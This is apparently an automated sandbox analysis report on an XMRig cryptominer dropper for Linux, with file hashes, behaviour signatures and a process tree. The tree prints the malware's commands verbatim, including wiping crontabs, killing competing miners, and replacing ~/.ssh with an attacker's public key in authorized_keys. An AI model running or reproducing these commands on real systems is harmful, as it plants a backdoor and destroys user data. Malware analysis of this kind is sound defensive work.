Analysis
-
max time kernel
600s -
max time network
567s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
-
submitted
15-04-2024 16:01
General
-
Target
.rsync/a/a
-
Size
2KB
-
MD5
b067abc476505eea79d2233ee3585626
-
SHA1
15f7c9af535f4390b14ba03ddb990c732212dde8
-
SHA256
ed9330e1594e73097dc6c8bf9f157de0d3799171a1967aaa43f9cd8629092f07
-
SHA512
95211823aadc69ca8145339188cf90094afb28948ec8729fd4e208fdb0bff4fa3a5435574a12c51618c87916e3ecccfa8c4621b4e6f26c8c42ec8dd13a285fab
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
-
Attempts to change immutable files 4 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 57 IoCs
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/.rsync/a/a/tmp/.rsync/a/a1⤵
- Writes file to tmp directory
-
/usr/bin/crontabcrontab -r2⤵
-
-
/usr/bin/catcat dir.dir2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/sbin/modprobemodprobe msr "allow_writes=on"2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/grepgrep -E "AMD Ryzen|AMD EPYC" /proc/cpuinfo2⤵
- Checks CPU configuration
-
-
/usr/bin/grepgrep Intel /proc/cpuinfo2⤵
- Checks CPU configuration
-
-
/usr/bin/nprocnproc2⤵
-
-
/usr/sbin/sysctlsysctl -w "vm.nr_hugepages=1"2⤵
-
-
/usr/bin/findfind /sys/devices/system/node/node0 -maxdepth 0 -type d2⤵
-
-
/usr/bin/chmodchmod u+x upd2⤵
-
-
/usr/bin/chmodchmod 777 a dir.dir init0 kswapd0 run stop upd2⤵
-
-
/tmp/.rsync/a/upd./upd2⤵
- Executes dropped EXE
-
-
/tmp/.rsync/a/run./run1⤵
- Writes file to tmp directory
-
/tmp/.rsync/a/stop./stop2⤵
- Writes file to tmp directory
-
/usr/bin/chattrchattr -ia "~/.xmrig.json"3⤵
- Attempts to change immutable files
-
-
/usr/bin/rmrm -rf "~/.xmrig.json"3⤵
-
-
/usr/bin/pkillpkill -9 cron3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 cron3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 kswapd03⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 kswapd03⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 ld-linux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 ld-linux3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 Donald3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 Donald3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 xmr3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 xmr3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 xm643⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 xm643⤵
- Reads runtime system information
-
-
/usr/bin/rmrm -rf .proc3⤵
-
-
-
/usr/bin/sleepsleep 102⤵
-
-
/usr/bin/catcat dir.dir2⤵
-
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep cron1⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep kswapd01⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep ld-linux1⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep Donald1⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep xmr1⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/usr/bin/grepgrep -v grep1⤵
-
/usr/bin/grepgrep xm641⤵
-
/usr/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/nohupnohup ./kswapd01⤵
-
/tmp/.rsync/a/kswapd0./kswapd01⤵
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"2⤵
-
-
/bin/shsh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"2⤵
- Attempts to change immutable files
-
/usr/bin/chattrchattr -ia "~/.xmrig.json"3⤵
- Attempts to change immutable files
-
-
/usr/bin/rmrm -rf "~/.xmrig.json"3⤵
-
-
/usr/bin/chattrchattr -ia "~/.config/xmrig.json"3⤵
- Attempts to change immutable files
-
-
/usr/bin/rmrm -rf "~/.config/xmrig.json"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD52669249bc32a4cc1ee875f4c66888789
SHA1a753f458e6840508e64bef0db909b983b23b3366
SHA256b67718a7f23969337b599fbccb53c9cb23e8020b355d8a5e4072ad1d761efe36
SHA512270d37cebe3d1803b8467b6ebd7961ec4eb15e41206743091fb8a5f5dd3e3680eb297946daa48408173be11781fe827214e33b36248b889416ed81e8b888780f
-
Filesize
1KB
MD500c0d71d12bacd5d7bbb5c948e73797e
SHA1e2dc568f887d8b94aa770c7789da37905940348f
SHA256af17bf243a024cfff3e7e4af1f0cc21da30d6c8a5930344a464aaebd9b7ca31b
SHA5126bbb39221d1f551b494950f7f4d3045e5fb224c27e2e5c35ea595d9350ceb7f2fd3275ce257f53d2148947fcc0c9d92587e73434e1357c211cc516007231aa29
-
Filesize
14B
MD5b3d878adcf4672bbd1f31cffac10c769
SHA1ce5798837933ece35a7e26a0a3dc06cab19c6275
SHA256ea5fce19c5fbbbc6c3c36eb9e8e295dfb525e9669aafaf8abe9ddb4e00e345c7
SHA512019d21a618b3ccc70c0c7ede225cbbb704e2b448048586c44c74c81a747129da9f3f9675f2a29363af320d2684974a1ff00ac608c53de4458aeacd3ed4f9da2c
-
Filesize
175B
MD5a136fbe534c2487d3c89bd6a26847bd0
SHA111b9362ba79b67dd5d5baf7cf11e0003f049d6e0
SHA256419a443ff93475ef3abb6e71e5a94e56aea8b7c1f1c4402b3662425815432d46
SHA51285047cf9d22037d2581ae41275107b243c0bb3259b57fe46bd3fd04a1abe75a7fdeace8a9eae1fae31349a00183206b40259ab3957db8f4f16a79e67133485e9